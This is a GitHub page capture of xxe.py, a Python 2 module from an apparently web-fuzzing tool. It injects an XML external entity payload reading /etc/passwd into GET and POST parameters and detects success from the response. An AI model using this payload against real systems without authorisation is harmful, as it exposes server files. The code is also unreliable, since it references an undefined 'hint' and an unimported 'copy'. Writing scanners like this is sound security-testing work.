-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathxxe.py
56 lines (48 loc) · 2.14 KB
/
xxe.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
from hints import *
from vulnerability_class import VulnerabilityClass
from fuzz import *
class XXE(VulnerabilityClass):
fuzz = None
def __init__(self, fuzz):
self.fuzz = fuzz
def estimate_effort(self):
total=0
for request in self.fuzz.requests:
for param in self.fuzz.GET_params:
if hint&Hints.XML:
total+=self.fuzz.lenNecessaryRequests
for param in self.fuzz.POST_params:
if hint&Hints.XML:
total+=self.fuzz.lenNecessaryRequests
print str(total)+" requests required to test for XXE"
return total
# from https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
def get_payload(self):
return '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>'
def verify(self, response, param, requestId):
try:
if response.status_code>=500:
print "Potential XXE in "+requestId+" "+param
else:
response.text.index('root:x:0:0:root')
print "XXE found in "+requestId+" "+param
return True
except:
return False
def test(self, method, url, requestId, param, postData=None, actualMethod=None):
assert not (method=='GET' and actualMethod==None)
s=requests.Session()
if method=='GET':
newUrl = fuzz.Fuzz.substParam(url,param,self.get_payload())
self.fuzz.catchUp(s)
response = self.fuzz.send_req(requestId, s, newUrl, actualMethod, post=postData)
print 'Attempting XXE on GET '+param+' requestId: '+requestId
self.verify(response, param, requestId)
elif method=='POST':
newPost=copy.deepcopy(postData)
newPost['formData'][param]=self.get_payload()
self.fuzz.catchUp(s)
response = self.fuzz.send_req(requestId, s, url, 'POST', post=newPost)
print 'Attempting XXE on POST '+param+' requestId: '+requestId
self.verify(response, param, requestId)